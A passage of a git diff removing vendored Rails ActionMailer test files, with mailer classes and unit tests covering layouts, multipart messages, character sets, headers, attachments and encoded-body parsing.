-  def logout(recipient)
-    recipients recipient
-    subject    "You have a mail"
-    from       "tester@example.com"
-  end
-end
-
-class LayoutMailerTest < Test::Unit::TestCase
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-
-    @recipient = 'test@localhost'
-  end
-
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_should_pickup_default_layout
-    mail = AutoLayoutMailer.create_hello(@recipient)
-    assert_equal "Hello from layout Inside", mail.body.strip
-  end
-
-  def test_should_pickup_multipart_layout
-    mail = AutoLayoutMailer.create_multipart(@recipient)
-    assert_equal "multipart/alternative", mail.content_type
-    assert_equal 2, mail.parts.size
-
-    assert_equal 'text/plain', mail.parts.first.content_type
-    assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body
-
-    assert_equal 'text/html', mail.parts.last.content_type
-    assert_equal "Hello from layout text/html multipart", mail.parts.last.body
-  end
-
-  def test_should_pickup_multipartmixed_layout
-    mail = AutoLayoutMailer.create_multipart(@recipient, "multipart/mixed")
-    assert_equal "multipart/mixed", mail.content_type
-    assert_equal 2, mail.parts.size
-
-    assert_equal 'text/plain', mail.parts.first.content_type
-    assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body
-
-    assert_equal 'text/html', mail.parts.last.content_type
-    assert_equal "Hello from layout text/html multipart", mail.parts.last.body
-  end
-
-  def test_should_fix_multipart_layout
-    mail = AutoLayoutMailer.create_multipart(@recipient, "text/plain")
-    assert_equal "multipart/alternative", mail.content_type
-    assert_equal 2, mail.parts.size
-
-    assert_equal 'text/plain', mail.parts.first.content_type
-    assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body
-
-    assert_equal 'text/html', mail.parts.last.content_type
-    assert_equal "Hello from layout text/html multipart", mail.parts.last.body
-  end
-
-
-  def test_should_pickup_layout_given_to_render
-    mail = AutoLayoutMailer.create_spam(@recipient)
-    assert_equal "Spammer layout Hello, Earth", mail.body.strip
-  end
-
-  def test_should_respect_layout_false
-    mail = AutoLayoutMailer.create_nolayout(@recipient)
-    assert_equal "Hello, Earth", mail.body.strip
-  end
-
-  def test_explicit_class_layout
-    mail = ExplicitLayoutMailer.create_signup(@recipient)
-    assert_equal "Spammer layout We do not spam", mail.body.strip
-  end
-
-  def test_explicit_layout_exceptions
-    mail = ExplicitLayoutMailer.create_logout(@recipient)
-    assert_equal "You logged out", mail.body.strip
-  end
-end
diff --git a/vendor/rails/actionmailer/test/mail_render_test.rb b/vendor/rails/actionmailer/test/mail_render_test.rb
deleted file mode 100644
index 45811612..00000000
--- a/vendor/rails/actionmailer/test/mail_render_test.rb
+++ /dev/null
@@ -1,116 +0,0 @@
-require 'abstract_unit'
-
-class RenderMailer < ActionMailer::Base
-  def inline_template(recipient)
-    recipients recipient
-    subject    "using helpers"
-    from       "tester@example.com"
-    body       render(:inline => "Hello, <%= @world %>", :body => { :world => "Earth" })
-  end
-
-  def file_template(recipient)
-    recipients recipient
-    subject    "using helpers"
-    from       "tester@example.com"
-    body       render(:file => "signed_up", :body => { :recipient => recipient })
-  end
-
-  def rxml_template(recipient)
-    recipients recipient
-    subject    "rendering rxml template"
-    from       "tester@example.com"
-  end
-
-  def included_subtemplate(recipient)
-    recipients recipient
-    subject    "Including another template in the one being rendered"
-    from       "tester@example.com"
-  end
-
-  def included_old_subtemplate(recipient)
-    recipients recipient
-    subject    "Including another template in the one being rendered"
-    from       "tester@example.com"
-    body       render(:inline => "Hello, <%= render \"subtemplate\" %>", :body => { :world => "Earth" })
-  end
-
-  def initialize_defaults(method_name)
-    super
-    mailer_name "test_mailer"
-  end
-end
-
-class FirstMailer < ActionMailer::Base
-  def share(recipient)
-    recipients recipient
-    subject    "using helpers"
-    from       "tester@example.com"
-  end
-end
-
-class SecondMailer < ActionMailer::Base
-  def share(recipient)
-    recipients recipient
-    subject    "using helpers"
-    from       "tester@example.com"
-  end
-end
-
-class RenderHelperTest < Test::Unit::TestCase
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-
-    @recipient = 'test@localhost'
-  end
-
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_inline_template
-    mail = RenderMailer.create_inline_template(@recipient)
-    assert_equal "Hello, Earth", mail.body.strip
-  end
-
-  def test_file_template
-    mail = RenderMailer.create_file_template(@recipient)
-    assert_equal "Hello there, \n\nMr. test@localhost", mail.body.strip
-  end
-
-  def test_rxml_template
-    mail = RenderMailer.deliver_rxml_template(@recipient)
-    assert_equal "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<test/>", mail.body.strip
-  end
-
-  def test_included_subtemplate
-    mail = RenderMailer.deliver_included_subtemplate(@recipient)
-    assert_equal "Hey Ho, let's go!", mail.body.strip
-  end
-end
-
-class FirstSecondHelperTest < Test::Unit::TestCase
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-
-    @recipient = 'test@localhost'
-  end
-
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_ordering
-    mail = FirstMailer.create_share(@recipient)
-    assert_equal "first mail", mail.body.strip
-    mail = SecondMailer.create_share(@recipient)
-    assert_equal "second mail", mail.body.strip
-    mail = FirstMailer.create_share(@recipient)
-    assert_equal "first mail", mail.body.strip
-    mail = SecondMailer.create_share(@recipient)
-    assert_equal "second mail", mail.body.strip
-  end
-end
diff --git a/vendor/rails/actionmailer/test/mail_service_test.rb b/vendor/rails/actionmailer/test/mail_service_test.rb
deleted file mode 100644
index 3b464df0..00000000
--- a/vendor/rails/actionmailer/test/mail_service_test.rb
+++ /dev/null
@@ -1,1145 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-
-class FunkyPathMailer < ActionMailer::Base
-  self.template_root = "#{File.dirname(__FILE__)}/fixtures/path.with.dots"
-
-  def multipart_with_template_path_with_dots(recipient)
-    recipients recipient
-    subject    "Have a lovely picture"
-    from       "Chad Fowler <chad@chadfowler.com>"
-    attachment :content_type => "image/jpeg",
-      :body => "not really a jpeg, we're only testing, after all"
-  end
-end
-
-class TestMailer < ActionMailer::Base
-  def signed_up(recipient)
-    @recipients   = recipient
-    @subject      = "[Signed up] Welcome #{recipient}"
-    @from         = "system@loudthinking.com"
-    @body["recipient"] = recipient
-  end
-
-  def cancelled_account(recipient)
-    self.recipients = recipient
-    self.subject    = "[Cancelled] Goodbye #{recipient}"
-    self.from       = "system@loudthinking.com"
-    self.sent_on    = Time.local(2004, 12, 12)
-    self.body       = "Goodbye, Mr. #{recipient}"
-  end
-
-  def from_with_name
-    from       "System <system@loudthinking.com>"
-    recipients "root@loudthinking.com"
-    body       "Nothing to see here."
-  end
-
-  def from_without_name
-    from       "system@loudthinking.com"
-    recipients "root@loudthinking.com"
-    body       "Nothing to see here."
-  end
-
-  def cc_bcc(recipient)
-    recipients recipient
-    subject    "testing bcc/cc"
-    from       "system@loudthinking.com"
-    sent_on    Time.local(2004, 12, 12)
-    cc         "nobody@loudthinking.com"
-    bcc        "root@loudthinking.com"
-    body       "Nothing to see here."
-  end
-
-  def different_reply_to(recipient)
-    recipients recipient
-    subject    "testing reply_to"
-    from       "system@loudthinking.com"
-    sent_on    Time.local(2008, 5, 23)
-    reply_to   "atraver@gmail.com"
-    body       "Nothing to see here."
-  end
-
-  def iso_charset(recipient)
-    @recipients = recipient
-    @subject    = "testing isø charsets"
-    @from       = "system@loudthinking.com"
-    @sent_on    = Time.local 2004, 12, 12
-    @cc         = "nobody@loudthinking.com"
-    @bcc        = "root@loudthinking.com"
-    @body       = "Nothing to see here."
-    @charset    = "iso-8859-1"
-  end
-
-  def unencoded_subject(recipient)
-    @recipients = recipient
-    @subject    = "testing unencoded subject"
-    @from       = "system@loudthinking.com"
-    @sent_on    = Time.local 2004, 12, 12
-    @cc         = "nobody@loudthinking.com"
-    @bcc        = "root@loudthinking.com"
-    @body       = "Nothing to see here."
-  end
-
-  def extended_headers(recipient)
-    @recipients = recipient
-    @subject    = "testing extended headers"
-    @from       = "Grytøyr <stian1@example.net>"
-    @sent_on    = Time.local 2004, 12, 12
-    @cc         = "Grytøyr <stian2@example.net>"
-    @bcc        = "Grytøyr <stian3@example.net>"
-    @body       = "Nothing to see here."
-    @charset    = "iso-8859-1"
-  end
-
-  def utf8_body(recipient)
-    @recipients = recipient
-    @subject    = "testing utf-8 body"
-    @from       = "Foo áëô îü <extended@example.net>"
-    @sent_on    = Time.local 2004, 12, 12
-    @cc         = "Foo áëô îü <extended@example.net>"
-    @bcc        = "Foo áëô îü <extended@example.net>"
-    @body       = "åœö blah"
-    @charset    = "utf-8"
-  end
-
-  def multipart_with_mime_version(recipient)
-    recipients   recipient
-    subject      "multipart with mime_version"
-    from         "test@example.com"
-    sent_on      Time.local(2004, 12, 12)
-    mime_version "1.1"
-    content_type "multipart/alternative"
-
-    part "text/plain" do |p|
-      p.body = "blah"
-    end
-
-    part "text/html" do |p|
-      p.body = "<b>blah</b>"
-    end
-  end
-
-  def multipart_with_utf8_subject(recipient)
-    recipients   recipient
-    subject      "Foo áëô îü"
-    from         "test@example.com"
-    charset      "utf-8"
-
-    part "text/plain" do |p|
-      p.body = "blah"
-    end
-
-    part "text/html" do |p|
-      p.body = "<b>blah</b>"
-    end
-  end
-
-  def explicitly_multipart_example(recipient, ct=nil)
-    recipients   recipient
-    subject      "multipart example"
-    from         "test@example.com"
-    sent_on      Time.local(2004, 12, 12)
-    body         "plain text default"
-    content_type ct if ct
-
-    part "text/html" do |p|
-      p.charset = "iso-8859-1"
-      p.body = "blah"
-    end
-
-    attachment :content_type => "image/jpeg", :filename => "foo.jpg",
-      :body => "123456789"
-  end
-
-  def implicitly_multipart_example(recipient, cs = nil, order = nil)
-    @recipients = recipient
-    @subject    = "multipart example"
-    @from       = "test@example.com"
-    @sent_on    = Time.local 2004, 12, 12
-    @body       = { "recipient" => recipient }
-    @charset    = cs if cs
-    @implicit_parts_order = order if order
-  end
-
-  def implicitly_multipart_with_utf8
-    recipients "no.one@nowhere.test"
-    subject    "Foo áëô îü"
-    from       "some.one@somewhere.test"
-    template   "implicitly_multipart_example"
-    body       ({ "recipient" => "no.one@nowhere.test" })
-  end
-
-  def html_mail(recipient)
-    recipients   recipient
-    subject      "html mail"
-    from         "test@example.com"
-    body         "<em>Emphasize</em> <strong>this</strong>"
-    content_type "text/html"
-  end
-
-  def html_mail_with_underscores(recipient)
-    subject      "html mail with underscores"
-    body         %{<a href="http://google.com" target="_blank">_Google</a>}
-  end
-
-  def custom_template(recipient)
-    recipients recipient
-    subject    "[Signed up] Welcome #{recipient}"
-    from       "system@loudthinking.com"
-    sent_on    Time.local(2004, 12, 12)
-    template   "signed_up"
-
-    body["recipient"] = recipient
-  end
-
-  def custom_templating_extension(recipient)
-    recipients recipient
-    subject    "[Signed up] Welcome #{recipient}"
-    from       "system@loudthinking.com"
-    sent_on    Time.local(2004, 12, 12)
-
-    body["recipient"] = recipient
-  end
-
-  def various_newlines(recipient)
-    recipients   recipient
-    subject      "various newlines"
-    from         "test@example.com"
-    body         "line #1\nline #2\rline #3\r\nline #4\r\r" +
-                 "line #5\n\nline#6\r\n\r\nline #7"
-  end
-
-  def various_newlines_multipart(recipient)
-    recipients   recipient
-    subject      "various newlines multipart"
-    from         "test@example.com"
-    content_type "multipart/alternative"
-    part :content_type => "text/plain", :body => "line #1\nline #2\rline #3\r\nline #4\r\r"
-    part :content_type => "text/html", :body => "<p>line #1</p>\n<p>line #2</p>\r<p>line #3</p>\r\n<p>line #4</p>\r\r"
-  end
-
-  def nested_multipart(recipient)
-    recipients   recipient
-    subject      "nested multipart"
-    from         "test@example.com"
-    content_type "multipart/mixed"
-    part :content_type => "multipart/alternative", :content_disposition => "inline", :headers => { "foo" => "bar" } do |p|
-      p.part :content_type => "text/plain", :body => "test text\nline #2"
-      p.part :content_type => "text/html", :body => "<b>test</b> HTML<br/>\nline #2"
-    end
-    attachment :content_type => "application/octet-stream",:filename => "test.txt", :body => "test abcdefghijklmnopqstuvwxyz"
-  end
-
-  def nested_multipart_with_body(recipient)
-    recipients   recipient
-    subject      "nested multipart with body"
-    from         "test@example.com"
-    content_type "multipart/mixed"
-    part :content_type => "multipart/alternative", :content_disposition => "inline", :body => "Nothing to see here." do |p|
-      p.part :content_type => "text/html", :body => "<b>test</b> HTML<br/>"
-    end
-  end
-
-  def attachment_with_custom_header(recipient)
-    recipients   recipient
-    subject      "custom header in attachment"
-    from         "test@example.com"
-    content_type "multipart/related"
-    part :content_type => "text/html", :body => 'yo'
-    attachment :content_type => "image/jpeg",:filename => "test.jpeg", :body => "i am not a real picture", :headers => { 'Content-ID' => '<test@test.com>' }
-  end
-
-  def unnamed_attachment(recipient)
-    recipients   recipient
-    subject      "nested multipart"
-    from         "test@example.com"
-    content_type "multipart/mixed"
-    part :content_type => "text/plain", :body => "hullo"
-    attachment :content_type => "application/octet-stream", :body => "test abcdefghijklmnopqstuvwxyz"
-  end
-
-  def headers_with_nonalpha_chars(recipient)
-    recipients   recipient
-    subject      "nonalpha chars"
-    from         "One: Two <test@example.com>"
-    cc           "Three: Four <test@example.com>"
-    bcc          "Five: Six <test@example.com>"
-    body         "testing"
-  end
-
-  def custom_content_type_attributes
-    recipients   "no.one@nowhere.test"
-    subject      "custom content types"
-    from         "some.one@somewhere.test"
-    content_type "text/plain; format=flowed"
-    body         "testing"
-  end
-
-  def return_path
-    recipients   "no.one@nowhere.test"
-    subject      "return path test"
-    from         "some.one@somewhere.test"
-    body         "testing"
-    headers      "return-path" => "another@somewhere.test"
-  end
-
-  def body_ivar(recipient)
-    recipients   recipient
-    subject      "Body as a local variable"
-    from         "test@example.com"
-    body         :body => "foo", :bar => "baz"
-  end
-
-  class <<self
-    attr_accessor :received_body
-  end
-
-  def receive(mail)
-    self.class.received_body = mail.body
-  end
-end
-
-class ActionMailerTest < Test::Unit::TestCase
-  include ActionMailer::Quoting
-
-  def encode( text, charset="utf-8" )
-    quoted_printable( text, charset )
-  end
-
-  def new_mail( charset="utf-8" )
-    mail = TMail::Mail.new
-    mail.mime_version = "1.0"
-    if charset
-      mail.set_content_type "text", "plain", { "charset" => charset }
-    end
-    mail
-  end
-
-  # Replacing logger work around for mocha bug. Should be fixed in mocha 0.3.3
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.raise_delivery_errors = true
-    ActionMailer::Base.deliveries = []
-
-    @original_logger = TestMailer.logger
-    @recipient = 'test@localhost'
-  end
-
-  def teardown
-    TestMailer.logger = @original_logger
-    restore_delivery_method
-  end
-
-  def test_nested_parts
-    created = nil
-    assert_nothing_raised { created = TestMailer.create_nested_multipart(@recipient)}
-    assert_equal 2,created.parts.size
-    assert_equal 2,created.parts.first.parts.size
-
-    assert_equal "multipart/mixed", created.content_type
-    assert_equal "multipart/alternative", created.parts.first.content_type
-    assert_equal "bar", created.parts.first.header['foo'].to_s
-    assert_nil created.parts.first.charset
-    assert_equal "text/plain", created.parts.first.parts.first.content_type
-    assert_equal "text/html", created.parts.first.parts[1].content_type
-    assert_equal "application/octet-stream", created.parts[1].content_type
-  end
-
-  def test_nested_parts_with_body
-    created = nil
-    assert_nothing_raised { created = TestMailer.create_nested_multipart_with_body(@recipient)}
-    assert_equal 1,created.parts.size
-    assert_equal 2,created.parts.first.parts.size
-
-    assert_equal "multipart/mixed", created.content_type
-    assert_equal "multipart/alternative", created.parts.first.content_type
-    assert_equal "Nothing to see here.", created.parts.first.parts.first.body
-    assert_equal "text/plain", created.parts.first.parts.first.content_type
-    assert_equal "text/html", created.parts.first.parts[1].content_type
-  end
-
-  def test_attachment_with_custom_header
-    created = nil
-    assert_nothing_raised { created = TestMailer.create_attachment_with_custom_header(@recipient)}
-    assert_equal "<test@test.com>", created.parts[1].header['content-id'].to_s
-  end
-
-  def test_signed_up
-    Time.stubs(:now => Time.now)
-
-    expected = new_mail
-    expected.to      = @recipient
-    expected.subject = "[Signed up] Welcome #{@recipient}"
-    expected.body    = "Hello there, \n\nMr. #{@recipient}"
-    expected.from    = "system@loudthinking.com"
-    expected.date    = Time.now
-
-    created = nil
-    assert_nothing_raised { created = TestMailer.create_signed_up(@recipient) }
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-
-    assert_nothing_raised { TestMailer.deliver_signed_up(@recipient) }
-    assert_not_nil ActionMailer::Base.deliveries.first
-    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
-  end
-
-  def test_custom_template
-    expected = new_mail
-    expected.to      = @recipient
-    expected.subject = "[Signed up] Welcome #{@recipient}"
-    expected.body    = "Hello there, \n\nMr. #{@recipient}"
-    expected.from    = "system@loudthinking.com"
-    expected.date    = Time.local(2004, 12, 12)
-
-    created = nil
-    assert_nothing_raised { created = TestMailer.create_custom_template(@recipient) }
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-  end
-
-  def test_custom_templating_extension
-    assert ActionView::Template.template_handler_extensions.include?("haml"), "haml extension was not registered"
-
-    # N.b., custom_templating_extension.text.plain.haml is expected to be in fixtures/test_mailer directory
-    expected = new_mail
-    expected.to      = @recipient
-    expected.subject = "[Signed up] Welcome #{@recipient}"
-    expected.body    = "Hello there, \n\nMr. #{@recipient}"
-    expected.from    = "system@loudthinking.com"
-    expected.date    = Time.local(2004, 12, 12)
-
-    # Stub the render method so no alternative renderers need be present.
-    ActionView::Base.any_instance.stubs(:render).returns("Hello there, \n\nMr. #{@recipient}")
-
-    # Now that the template is registered, there should be one part. The text/plain part.
-    created = nil
-    assert_nothing_raised { created = TestMailer.create_custom_templating_extension(@recipient) }
-    assert_not_nil created
-    assert_equal 2, created.parts.length
-    assert_equal 'text/plain', created.parts[0].content_type
-    assert_equal 'text/html', created.parts[1].content_type
-  end
-
-  def test_cancelled_account
-    expected = new_mail
-    expected.to      = @recipient
-    expected.subject = "[Cancelled] Goodbye #{@recipient}"
-    expected.body    = "Goodbye, Mr. #{@recipient}"
-    expected.from    = "system@loudthinking.com"
-    expected.date    = Time.local(2004, 12, 12)
-
-    created = nil
-    assert_nothing_raised { created = TestMailer.create_cancelled_account(@recipient) }
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-
-    assert_nothing_raised { TestMailer.deliver_cancelled_account(@recipient) }
-    assert_not_nil ActionMailer::Base.deliveries.first
-    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
-  end
-
-  def test_cc_bcc
-    expected = new_mail
-    expected.to      = @recipient
-    expected.subject = "testing bcc/cc"
-    expected.body    = "Nothing to see here."
-    expected.from    = "system@loudthinking.com"
-    expected.cc      = "nobody@loudthinking.com"
-    expected.bcc     = "root@loudthinking.com"
-    expected.date    = Time.local 2004, 12, 12
-
-    created = nil
-    assert_nothing_raised do
-      created = TestMailer.create_cc_bcc @recipient
-    end
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-
-    assert_nothing_raised do
-      TestMailer.deliver_cc_bcc @recipient
-    end
-
-    assert_not_nil ActionMailer::Base.deliveries.first
-    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
-  end
-
-  def test_from_without_name_for_smtp
-    ActionMailer::Base.delivery_method = :smtp
-    TestMailer.deliver_from_without_name
-
-    mail = MockSMTP.deliveries.first
-    assert_not_nil mail
-    mail, from, to = mail
-
-    assert_equal 'system@loudthinking.com', from.to_s
-  end
-
-  def test_from_with_name_for_smtp
-    ActionMailer::Base.delivery_method = :smtp
-    TestMailer.deliver_from_with_name
-
-    mail = MockSMTP.deliveries.first
-    assert_not_nil mail
-    mail, from, to = mail
-
-    assert_equal 'system@loudthinking.com', from.to_s
-  end
-
-  def test_reply_to
-    expected = new_mail
-
-    expected.to       = @recipient
-    expected.subject  = "testing reply_to"
-    expected.body     = "Nothing to see here."
-    expected.from     = "system@loudthinking.com"
-    expected.reply_to = "atraver@gmail.com"
-    expected.date     = Time.local 2008, 5, 23
-
-    created = nil
-    assert_nothing_raised do
-      created = TestMailer.create_different_reply_to @recipient
-    end
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-
-    assert_nothing_raised do
-      TestMailer.deliver_different_reply_to @recipient
-    end
-
-    assert_not_nil ActionMailer::Base.deliveries.first
-    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
-  end
-
-  def test_iso_charset
-    expected = new_mail( "iso-8859-1" )
-    expected.to      = @recipient
-    expected.subject = encode "testing isø charsets", "iso-8859-1"
-    expected.body    = "Nothing to see here."
-    expected.from    = "system@loudthinking.com"
-    expected.cc      = "nobody@loudthinking.com"
-    expected.bcc     = "root@loudthinking.com"
-    expected.date    = Time.local 2004, 12, 12
-
-    created = nil
-    assert_nothing_raised do
-      created = TestMailer.create_iso_charset @recipient
-    end
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-
-    assert_nothing_raised do
-      TestMailer.deliver_iso_charset @recipient
-    end
-
-    assert_not_nil ActionMailer::Base.deliveries.first
-    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
-  end
-
-  def test_unencoded_subject
-    expected = new_mail
-    expected.to      = @recipient
-    expected.subject = "testing unencoded subject"
-    expected.body    = "Nothing to see here."
-    expected.from    = "system@loudthinking.com"
-    expected.cc      = "nobody@loudthinking.com"
-    expected.bcc     = "root@loudthinking.com"
-    expected.date    = Time.local 2004, 12, 12
-
-    created = nil
-    assert_nothing_raised do
-      created = TestMailer.create_unencoded_subject @recipient
-    end
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-
-    assert_nothing_raised do
-      TestMailer.deliver_unencoded_subject @recipient
-    end
-
-    assert_not_nil ActionMailer::Base.deliveries.first
-    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
-  end
-
-  def test_instances_are_nil
-    assert_nil ActionMailer::Base.new
-    assert_nil TestMailer.new
-  end
-
-  def test_deliveries_array
-    assert_not_nil ActionMailer::Base.deliveries
-    assert_equal 0, ActionMailer::Base.deliveries.size
-    TestMailer.deliver_signed_up(@recipient)
-    assert_equal 1, ActionMailer::Base.deliveries.size
-    assert_not_nil ActionMailer::Base.deliveries.first
-  end
-
-  def test_perform_deliveries_flag
-    ActionMailer::Base.perform_deliveries = false
-    TestMailer.deliver_signed_up(@recipient)
-    assert_equal 0, ActionMailer::Base.deliveries.size
-    ActionMailer::Base.perform_deliveries = true
-    TestMailer.deliver_signed_up(@recipient)
-    assert_equal 1, ActionMailer::Base.deliveries.size
-  end
-
-  def test_doesnt_raise_errors_when_raise_delivery_errors_is_false
-    ActionMailer::Base.raise_delivery_errors = false
-    TestMailer.any_instance.expects(:perform_delivery_test).raises(Exception)
-    assert_nothing_raised { TestMailer.deliver_signed_up(@recipient) }
-  end
-
-  def test_performs_delivery_via_sendmail
-    sm = mock()
-    sm.expects(:print).with(anything)
-    sm.expects(:flush)
-    IO.expects(:popen).once.with('/usr/sbin/sendmail -i -t', 'w+').yields(sm)
-    ActionMailer::Base.delivery_method = :sendmail
-    TestMailer.deliver_signed_up(@recipient)
-  end
-
-  def test_delivery_logs_sent_mail
-    mail = TestMailer.create_signed_up(@recipient)
-    logger = mock()
-    logger.expects(:info).with("Sent mail to #{@recipient}")
-    logger.expects(:debug).with() do |logged_text|
-      logged_text =~ /\[Signed up\] Welcome/
-    end
-    TestMailer.logger = logger
-    TestMailer.deliver_signed_up(@recipient)
-  end
-
-  def test_unquote_quoted_printable_subject
-    msg = <<EOF
-From: me@example.com
-Subject: =?utf-8?Q?testing_testing_=D6=A4?=
-Content-Type: text/plain; charset=iso-8859-1
-
-The body
-EOF
-    mail = TMail::Mail.parse(msg)
-    assert_equal "testing testing \326\244", mail.subject
-    assert_equal "=?utf-8?Q?testing_testing_=D6=A4?=", mail.quoted_subject
-  end
-
-  def test_unquote_7bit_subject
-    msg = <<EOF
-From: me@example.com
-Subject: this == working?
-Content-Type: text/plain; charset=iso-8859-1
-
-The body
-EOF
-    mail = TMail::Mail.parse(msg)
-    assert_equal "this == working?", mail.subject
-    assert_equal "this == working?", mail.quoted_subject
-  end
-
-  def test_unquote_7bit_body
-    msg = <<EOF
-From: me@example.com
-Subject: subject
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: 7bit
-
-The=3Dbody
-EOF
-    mail = TMail::Mail.parse(msg)
-    assert_equal "The=3Dbody", mail.body.strip
-    assert_equal "The=3Dbody", mail.quoted_body.strip
-  end
-
-  def test_unquote_quoted_printable_body
-    msg = <<EOF
-From: me@example.com
-Subject: subject
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: quoted-printable
-
-The=3Dbody
-EOF
-    mail = TMail::Mail.parse(msg)
-    assert_equal "The=body", mail.body.strip
-    assert_equal "The=3Dbody", mail.quoted_body.strip
-  end
-
-  def test_unquote_base64_body
-    msg = <<EOF
-From: me@example.com
-Subject: subject
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: base64
-
-VGhlIGJvZHk=
-EOF
-    mail = TMail::Mail.parse(msg)
-    assert_equal "The body", mail.body.strip
-    assert_equal "VGhlIGJvZHk=", mail.quoted_body.strip
-  end
-
-  def test_extended_headers
-    @recipient = "Grytøyr <test@localhost>"
-
-    expected = new_mail "iso-8859-1"
-    expected.to      = quote_address_if_necessary @recipient, "iso-8859-1"
-    expected.subject = "testing extended headers"
-    expected.body    = "Nothing to see here."
-    expected.from    = quote_address_if_necessary "Grytøyr <stian1@example.net>", "iso-8859-1"
-    expected.cc      = quote_address_if_necessary "Grytøyr <stian2@example.net>", "iso-8859-1"
-    expected.bcc     = quote_address_if_necessary "Grytøyr <stian3@example.net>", "iso-8859-1"
-    expected.date    = Time.local 2004, 12, 12
-
-    created = nil
-    assert_nothing_raised do
-      created = TestMailer.create_extended_headers @recipient
-    end
-
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-
-    assert_nothing_raised do
-      TestMailer.deliver_extended_headers @recipient
-    end
-
-    assert_not_nil ActionMailer::Base.deliveries.first
-    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
-  end
-
-  def test_utf8_body_is_not_quoted
-    @recipient = "Foo áëô îü <extended@example.net>"
-    expected = new_mail "utf-8"
-    expected.to      = quote_address_if_necessary @recipient, "utf-8"
-    expected.subject = "testing utf-8 body"
-    expected.body    = "åœö blah"
-    expected.from    = quote_address_if_necessary @recipient, "utf-8"
-    expected.cc      = quote_address_if_necessary @recipient, "utf-8"
-    expected.bcc     = quote_address_if_necessary @recipient, "utf-8"
-    expected.date    = Time.local 2004, 12, 12
-
-    created = TestMailer.create_utf8_body @recipient
-    assert_match(/åœö blah/, created.encoded)
-  end
-
-  def test_multiple_utf8_recipients
-    @recipient = ["\"Foo áëô îü\" <extended@example.net>", "\"Example Recipient\" <me@example.com>"]
-    expected = new_mail "utf-8"
-    expected.to      = quote_address_if_necessary @recipient, "utf-8"
-    expected.subject = "testing utf-8 body"
-    expected.body    = "åœö blah"
-    expected.from    = quote_address_if_necessary @recipient.first, "utf-8"
-    expected.cc      = quote_address_if_necessary @recipient, "utf-8"
-    expected.bcc     = quote_address_if_necessary @recipient, "utf-8"
-    expected.date    = Time.local 2004, 12, 12
-
-    created = TestMailer.create_utf8_body @recipient
-    assert_match(/From:\ =\?utf\-8\?Q\?Foo_=C3=A1=C3=AB=C3=B4_=C3=AE=C3=BC\?=\ <extended@example\.net>/, created.encoded)
-    assert_match(/To:\ =\?utf\-8\?Q\?Foo_=C3=A1=C3=AB=C3=B4_=C3=AE=C3=BC\?=\ <extended@example\.net>/, created.encoded)
-  end
-
-  def test_receive_decodes_base64_encoded_mail
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email")
-    TestMailer.receive(fixture)
-    assert_match(/Jamis/, TestMailer.received_body)
-  end
-
-  def test_receive_attachments
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email2")
-    mail = TMail::Mail.parse(fixture)
-    attachment = mail.attachments.last
-    assert_equal "smime.p7s", attachment.original_filename
-    assert_equal "application/pkcs7-signature", attachment.content_type
-  end
-
-  def test_decode_attachment_without_charset
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email3")
-    mail = TMail::Mail.parse(fixture)
-    attachment = mail.attachments.last
-    assert_equal 1026, attachment.read.length
-  end
-
-  def test_attachment_using_content_location
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email12")
-    mail = TMail::Mail.parse(fixture)
-    assert_equal 1, mail.attachments.length
-    assert_equal "Photo25.jpg", mail.attachments.first.original_filename
-  end
-
-  def test_attachment_with_text_type
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email13")
-    mail = TMail::Mail.parse(fixture)
-    assert mail.has_attachments?
-    assert_equal 1, mail.attachments.length
-    assert_equal "hello.rb", mail.attachments.first.original_filename
-  end
-
-  def test_decode_part_without_content_type
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email4")
-    mail = TMail::Mail.parse(fixture)
-    assert_nothing_raised { mail.body }
-  end
-
-  def test_decode_message_without_content_type
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email5")
-    mail = TMail::Mail.parse(fixture)
-    assert_nothing_raised { mail.body }
-  end
-
-  def test_decode_message_with_incorrect_charset
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email6")
-    mail = TMail::Mail.parse(fixture)
-    assert_nothing_raised { mail.body }
-  end
-
-  def test_multipart_with_mime_version
-    mail = TestMailer.create_multipart_with_mime_version(@recipient)
-    assert_equal "1.1", mail.mime_version
-  end
-
-  def test_multipart_with_utf8_subject
-    mail = TestMailer.create_multipart_with_utf8_subject(@recipient)
